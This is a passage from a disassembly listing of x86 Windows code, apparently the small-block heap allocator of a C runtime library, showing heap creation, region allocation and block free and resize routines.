		push	eax
		call	sub_411A3D
		test	eax, eax
		pop	ecx
		jz	short loc_40FA6C
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40CA0C
		add	esp, 14h

loc_40FA6C:				; CODE XREF: sub_40FA28+35j
		cmp	[ebp+var_4], 2
		pop	esi
		jnz	short loc_40FA7E
		cmp	[ebp+var_8], 5
		jb	short loc_40FA7E
		xor	eax, eax
		inc	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40FA7E:				; CODE XREF: sub_40FA28+49j
					; sub_40FA28+4Fj
		push	3
		pop	eax
		leave
		retn
sub_40FA28	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FA83	proc near		; CODE XREF: .text:0040E0A3p

arg_0		= dword	ptr  4

		xor	eax, eax
		cmp	[esp+arg_0], eax
		push	0
		setz	al
		push	1000h
		push	eax
		call	ds:dword_41E148	; HeapCreate
		test	eax, eax
		mov	dword_425FE8, eax
		jnz	short loc_40FAA6

loc_40FAA3:				; CODE XREF: sub_40FA83+54j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_40FAA6:				; CODE XREF: sub_40FA83+1Ej
		call	sub_40FA28
		cmp	eax, 3
		mov	dword_434D5C, eax
		jnz	short loc_40FAD9
		push	3F8h
		call	sub_40FADD
		test	eax, eax
		pop	ecx
		jnz	short loc_40FAD9
		push	dword_425FE8
		call	ds:off_41E14C
		and	dword_425FE8, 0
		jmp	short loc_40FAA3
; ---------------------------------------------------------------------------

loc_40FAD9:				; CODE XREF: sub_40FA83+30j
					; sub_40FA83+3Fj
		xor	eax, eax
		inc	eax
		retn
sub_40FA83	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FADD	proc near		; CODE XREF: sub_40FA83+37p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_425FE8
		call	ds:dword_41E0F8	; RtlAllocateHeap
		test	eax, eax
		mov	dword_434D48, eax
		jnz	short loc_40FAFA
		retn
; ---------------------------------------------------------------------------

loc_40FAFA:				; CODE XREF: sub_40FADD+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_425FEC, 0
		and	dword_434D44, 0
		mov	dword_434D50, eax
		xor	eax, eax
		mov	dword_434D4C, ecx
		mov	dword_434D54, 10h
		inc	eax
		retn
sub_40FADD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FB25	proc near		; CODE XREF: sub_40C58B+4Ep
					; sub_40D35A+29p ...

arg_0		= dword	ptr  4

		mov	ecx, dword_434D44
		mov	eax, dword_434D48
		imul	ecx, 14h
		add	ecx, eax
		jmp	short loc_40FB49
; ---------------------------------------------------------------------------

loc_40FB37:				; CODE XREF: sub_40FB25+26j
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_40FB4F
		add	eax, 14h

loc_40FB49:				; CODE XREF: sub_40FB25+10j
		cmp	eax, ecx
		jb	short loc_40FB37
		xor	eax, eax

locret_40FB4F:				; CODE XREF: sub_40FB25+1Fj
		retn
sub_40FB25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FB50	proc near		; CODE XREF: sub_40D35A+38p
					; sub_417720+B5p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, esi
		sub	edi, [ecx+0Ch]
		add	esi, 0FFFFFFFCh
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_40FE60
		push	ebx
		lea	ebx, [ecx+esi]
		mov	edx, [ebx]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_40FC1B
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_40FBB3
		push	3Fh
		pop	edx

loc_40FBB3:				; CODE XREF: sub_40FB50+5Ej
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_40FBFD
		cmp	edx, 20h
		mov	ebx, 80000000h
		jnb	short loc_40FBDE
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_40FBFA
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_40FBFA
; ---------------------------------------------------------------------------

loc_40FBDE:				; CODE XREF: sub_40FB50+73j
		lea	ecx, [edx-20h]
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_40FBFA
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_40FBFA:				; CODE XREF: sub_40FB50+85j
					; sub_40FB50+8Cj ...
		mov	ebx, [ebp+arg_4]

loc_40FBFD:				; CODE XREF: sub_40FB50+69j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx
		mov	[ebp+var_4], ecx

loc_40FC1B:				; CODE XREF: sub_40FB50+55j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_40FC29
		push	3Fh
		pop	edx

loc_40FC29:				; CODE XREF: sub_40FB50+D4j
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_40FCC7
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_40FC4E
		mov	ebx, esi

loc_40FC4E:				; CODE XREF: sub_40FB50+FAj
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		mov	[ebp+var_4], ecx
		jbe	short loc_40FC60
		mov	edx, esi

loc_40FC60:				; CODE XREF: sub_40FB50+10Cj
		cmp	ebx, edx
		jz	short loc_40FCC2
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_40FCAA
		cmp	ebx, 20h
		mov	esi, 80000000h
		jnb	short loc_40FC90
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_40FCAA
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_40FCAA
; ---------------------------------------------------------------------------

loc_40FC90:				; CODE XREF: sub_40FB50+127j
		lea	ecx, [ebx-20h]
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_40FCAA
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi

loc_40FCAA:				; CODE XREF: sub_40FB50+11Dj
					; sub_40FB50+137j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx

loc_40FCC2:				; CODE XREF: sub_40FB50+112j
		mov	esi, [ebp+arg_4]
		jmp	short loc_40FCCA
; ---------------------------------------------------------------------------

loc_40FCC7:				; CODE XREF: sub_40FB50+E2j
		mov	ebx, [ebp+arg_0]

loc_40FCCA:				; CODE XREF: sub_40FB50+175j
		cmp	[ebp+var_C], 0
		jnz	short loc_40FCD8
		cmp	ebx, edx
		jz	loc_40FD58

loc_40FCD8:				; CODE XREF: sub_40FB50+17Ej
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edx*8]
		mov	ebx, [ecx+4]
		mov	[esi+8], ecx
		mov	[esi+4], ebx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_40FD58
		mov	cl, [edx+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	edx, 20h
		mov	[edx+eax+4], cl
		jnb	short loc_40FD2F
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_40FD1E
		mov	ecx, edx
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_40FD1E:				; CODE XREF: sub_40FB50+1BEj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_40FD58
; ---------------------------------------------------------------------------

loc_40FD2F:				; CODE XREF: sub_40FB50+1B8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_40FD45
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_40FD45:				; CODE XREF: sub_40FB50+1E3j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx

loc_40FD58:				; CODE XREF: sub_40FB50+182j
					; sub_40FB50+1A6j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_40FE5F
		mov	eax, dword_425FEC
		test	eax, eax
		jz	loc_40FE51
		mov	ecx, dword_434D58
		mov	esi, ds:off_41E144
		push	4000h
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	ebx
		push	ecx
		call	esi ; sub_43BA32
		mov	ecx, dword_434D58
		mov	eax, dword_425FEC
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_425FEC
		mov	eax, [eax+10h]
		mov	ecx, dword_434D58
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_425FEC
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_425FEC
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_40FDE6
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_425FEC

loc_40FDE6:				; CODE XREF: sub_40FB50+28Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_40FE51
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi ; sub_43BA32
		mov	eax, dword_425FEC
		push	dword ptr [eax+10h]
		push	0
		push	dword_425FE8
		call	ds:dword_41E0F0	; RtlFreeHeap
		mov	ecx, dword_434D44
		mov	eax, dword_425FEC
		imul	ecx, 14h
		mov	edx, dword_434D48
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_411470
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_434D44
		cmp	eax, dword_425FEC
		jbe	short loc_40FE47
		sub	[ebp+arg_0], 14h

loc_40FE47:				; CODE XREF: sub_40FB50+2F1j
		mov	eax, dword_434D48
		mov	dword_434D50, eax

loc_40FE51:				; CODE XREF: sub_40FB50+223j
					; sub_40FB50+29Aj
		mov	eax, [ebp+arg_0]
		mov	dword_425FEC, eax
		mov	dword_434D58, edi

loc_40FE5F:				; CODE XREF: sub_40FB50+216j
		pop	ebx

loc_40FE60:				; CODE XREF: sub_40FB50+37j
		pop	edi
		pop	esi
		leave
		retn
sub_40FB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FE64	proc near		; CODE XREF: sub_4102F9+C0p
		mov	eax, dword_434D54
		push	esi
		mov	esi, dword_434D44
		push	edi
		xor	edi, edi
		cmp	esi, eax
		jnz	short loc_40FEAB
		add	eax, 10h
		imul	eax, 14h
		push	eax
		push	dword_434D48
		push	edi
		push	dword_425FE8
		call	ds:off_41E13C
		cmp	eax, edi
		jnz	short loc_40FE99

loc_40FE95:				; CODE XREF: sub_40FE64+68j
					; sub_40FE64+94j
		xor	eax, eax
		jmp	short loc_40FF11
; ---------------------------------------------------------------------------

loc_40FE99:				; CODE XREF: sub_40FE64+2Fj
		add	dword_434D54, 10h
		mov	esi, dword_434D44
		mov	dword_434D48, eax

loc_40FEAB:				; CODE XREF: sub_40FE64+11j
		imul	esi, 14h
		add	esi, dword_434D48
		push	41C4h
		push	8
		push	dword_425FE8
		call	ds:dword_41E0F8	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_40FE95
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:off_41E140
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_40FEFA
		push	dword ptr [esi+10h]
		push	edi
		push	dword_425FE8
		call	ds:dword_41E0F0	; RtlFreeHeap
		jmp	short loc_40FE95
; ---------------------------------------------------------------------------

loc_40FEFA:				; CODE XREF: sub_40FE64+82j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_434D44
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_40FF11:				; CODE XREF: sub_40FE64+33j
		pop	edi
		pop	esi
		retn
sub_40FE64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF14	proc near		; CODE XREF: sub_4102F9+D6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+8]
		push	ebx
		push	esi
		mov	esi, [ecx+10h]
		push	edi
		xor	ebx, ebx
		jmp	short loc_40FF2C
; ---------------------------------------------------------------------------

loc_40FF29:				; CODE XREF: sub_40FF14+1Aj
		add	eax, eax
		inc	ebx

loc_40FF2C:				; CODE XREF: sub_40FF14+13j
		test	eax, eax
		jge	short loc_40FF29
		mov	eax, ebx
		imul	eax, 204h
		lea	eax, [eax+esi+144h]
		push	3Fh
		mov	[ebp+var_8], eax
		pop	edx

loc_40FF45:				; CODE XREF: sub_40FF14+3Bj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_40FF45
		push	4
		mov	edi, ebx
		push	1000h
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	8000h
		push	edi
		call	ds:off_41E140
		test	eax, eax
		jnz	short loc_40FF78
		or	eax, 0FFFFFFFFh
		jmp	loc_410015
; ---------------------------------------------------------------------------

loc_40FF78:				; CODE XREF: sub_40FF14+5Aj
		lea	edx, [edi+7000h]
		cmp	edi, edx
		mov	[ebp+var_4], edx
		ja	short loc_40FFC8
		mov	ecx, edx
		sub	ecx, edi
		shr	ecx, 0Ch
		lea	eax, [edi+10h]
		inc	ecx

loc_40FF90:				; CODE XREF: sub_40FF14+AFj
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	edx, [eax+0FFCh]
		mov	[eax], edx
		lea	edx, [eax-1004h]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax+4], edx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		dec	ecx
		jnz	short loc_40FF90
		mov	edx, [ebp+var_4]

loc_40FFC8:				; CODE XREF: sub_40FF14+6Fj
		mov	eax, [ebp+var_8]
		add	eax, 1F8h
		lea	ecx, [edi+0Ch]
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		xor	edi, edi
		inc	edi
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_410005
		or	[eax+4], edi

loc_410005:				; CODE XREF: sub_40FF14+ECj
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_410015:				; CODE XREF: sub_40FF14+5Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FF14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41001A	proc near		; CODE XREF: sub_417720+77p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		sub	edx, [ecx+0Ch]
		add	esi, 17h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		and	esi, 0FFFFFFF0h
		dec	ecx
		cmp	esi, ecx
		lea	edi, [ecx+edi-4]
		mov	ebx, [edi]
		mov	[ebp+arg_8], ecx
		mov	[ebp+var_4], ebx
		jle	loc_4101BC
		test	bl, 1
		jnz	loc_4101B5
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_4101B5
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41008F
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_41008F:				; CODE XREF: sub_41001A+6Dj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_4100DA
		cmp	ecx, 20h
		mov	ebx, 80000000h
		jnb	short loc_4100BB
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4100DA
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4100DA
; ---------------------------------------------------------------------------

loc_4100BB:				; CODE XREF: sub_41001A+85j
		add	ecx, 0FFFFFFE0h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4100DA
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_4100DA:				; CODE XREF: sub_41001A+7Bj
					; sub_41001A+98j ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_4101A3
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		lea	ecx, [ecx+esi-4]
		jbe	short loc_410114
		push	3Fh
		pop	edi

loc_410114:				; CODE XREF: sub_41001A+F5j
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_410191
		mov	cl, [edi+eax+4]
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		cmp	edi, 20h
		mov	[edi+eax+4], cl
		jnb	short loc_410168
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_410160
		mov	ecx, edi
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_410160:				; CODE XREF: sub_41001A+136j
		lea	eax, [eax+edx*4+44h]
		mov	ecx, edi
		jmp	short loc_410188
; ---------------------------------------------------------------------------

loc_410168:				; CODE XREF: sub_41001A+130j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41017E
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41017E:				; CODE XREF: sub_41001A+152j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]

loc_410188:				; CODE XREF: sub_41001A+14Cj
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx

loc_410191:				; CODE XREF: sub_41001A+11Ej
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_4101A6
; ---------------------------------------------------------------------------

loc_4101A3:				; CODE XREF: sub_41001A+DEj
		mov	edx, [ebp+arg_4]

loc_4101A6:				; CODE XREF: sub_41001A+187j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_4102F1
; ---------------------------------------------------------------------------

loc_4101B5:				; CODE XREF: sub_41001A+50j
					; sub_41001A+5Aj
		xor	eax, eax
		jmp	loc_4102F4
; ---------------------------------------------------------------------------

loc_4101BC:				; CODE XREF: sub_41001A+47j
		jge	loc_4102F1
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+arg_4], ebx
		mov	[ebx-4], ecx
		jbe	short loc_4101E7
		push	3Fh
		pop	esi

loc_4101E7:				; CODE XREF: sub_41001A+1C8j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_410271
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_410200
		push	3Fh
		pop	esi

loc_410200:				; CODE XREF: sub_41001A+1E1j
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41024A
		cmp	esi, 20h
		mov	ebx, 80000000h
		jnb	short loc_41022B
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_410247
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_410247
; ---------------------------------------------------------------------------

loc_41022B:				; CODE XREF: sub_41001A+1F6j
		lea	ecx, [esi-20h]
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_410247
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_410247:				; CODE XREF: sub_41001A+208j
					; sub_41001A+20Fj ...
		mov	ebx, [ebp+arg_4]

loc_41024A:				; CODE XREF: sub_41001A+1ECj
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	esi, [edi+8]
		mov	ecx, [edi+4]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_410271
		push	3Fh
		pop	esi

loc_410271:				; CODE XREF: sub_41001A+1D1j
					; sub_41001A+252j
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[ebx+8], ecx
		mov	[ebx+4], edi
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_4102E8
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jnb	short loc_4102BF
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4102B7
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_4102B7:				; CODE XREF: sub_41001A+28Dj
		lea	eax, [eax+edx*4+44h]
		mov	ecx, esi
		jmp	short loc_4102DF
; ---------------------------------------------------------------------------

loc_4102BF:				; CODE XREF: sub_41001A+287j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4102D5
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_4102D5:				; CODE XREF: sub_41001A+2A9j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]

loc_4102DF:				; CODE XREF: sub_41001A+2A3j
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx

loc_4102E8:				; CODE XREF: sub_41001A+275j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_4102F1:				; CODE XREF: sub_41001A+196j
					; sub_41001A:loc_4101BCj
		xor	eax, eax
		inc	eax

loc_4102F4:				; CODE XREF: sub_41001A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41001A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4102F9	proc near		; CODE XREF: sub_40D3E8+28p
					; sub_417602+88p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_434D44
		mov	ecx, [ebp+arg_0]
		imul	eax, 14h
		add	eax, dword_434D48
		add	ecx, 17h
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		push	ebx
		dec	ecx
		cmp	ecx, 20h
		push	esi
		push	edi
		jge	short loc_410330
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41033D
; ---------------------------------------------------------------------------

loc_410330:				; CODE XREF: sub_4102F9+2Aj
		add	ecx, 0FFFFFFE0h
		or	edx, 0FFFFFFFFh
		xor	esi, esi
		shr	edx, cl
		mov	[ebp+var_8], edx

loc_41033D:				; CODE XREF: sub_4102F9+35j
		mov	ecx, dword_434D50
		mov	ebx, ecx
		jmp	short loc_410358
; ---------------------------------------------------------------------------

loc_410347:				; CODE XREF: sub_4102F9+64j
		mov	edx, [ebx+4]
		mov	edi, [ebx]
		and	edx, [ebp+var_8]
		and	edi, esi
		or	edx, edi
		jnz	short loc_41035F
		add	ebx, 14h

loc_410358:				; CODE XREF: sub_4102F9+4Cj
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jb	short loc_410347

loc_41035F:				; CODE XREF: sub_4102F9+5Aj
		cmp	ebx, eax
		jnz	short loc_4103E2
		mov	ebx, dword_434D48
		jmp	short loc_41037C
; ---------------------------------------------------------------------------

loc_41036B:				; CODE XREF: sub_4102F9+88j
		mov	edx, [ebx+4]
		mov	edi, [ebx]
		and	edx, [ebp+var_8]
		and	edi, esi
		or	edx, edi
		jnz	short loc_410383
		add	ebx, 14h

loc_41037C:				; CODE XREF: sub_4102F9+70j
		cmp	ebx, ecx
		mov	[ebp+arg_0], ebx
		jb	short loc_41036B

loc_410383:				; CODE XREF: sub_4102F9+7Ej
		cmp	ebx, ecx
		jnz	short loc_4103E2
		jmp	short loc_410395
; ---------------------------------------------------------------------------

loc_410389:				; CODE XREF: sub_4102F9+9Ej
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_410399
		add	ebx, 14h
		mov	[ebp+arg_0], ebx

loc_410395:				; CODE XREF: sub_4102F9+8Ej
		cmp	ebx, eax
		jb	short loc_410389

loc_410399:				; CODE XREF: sub_4102F9+94j
		cmp	ebx, eax
		jnz	short loc_4103CE
		mov	ebx, dword_434D48
		jmp	short loc_4103AE
; ---------------------------------------------------------------------------

loc_4103A5:				; CODE XREF: sub_4102F9+BAj
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_4103B5
		add	ebx, 14h

loc_4103AE:				; CODE XREF: sub_4102F9+AAj
		cmp	ebx, ecx
		mov	[ebp+arg_0], ebx
		jb	short loc_4103A5

loc_4103B5:				; CODE XREF: sub_4102F9+B0j
		cmp	ebx, ecx
		jnz	short loc_4103CE
		call	sub_40FE64
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jnz	short loc_4103CE

loc_4103C7:				; CODE XREF: sub_4102F9+E7j
		xor	eax, eax
		jmp	loc_4105D7
; ---------------------------------------------------------------------------

loc_4103CE:				; CODE XREF: sub_4102F9+A2j
					; sub_4102F9+BEj ...
		push	ebx
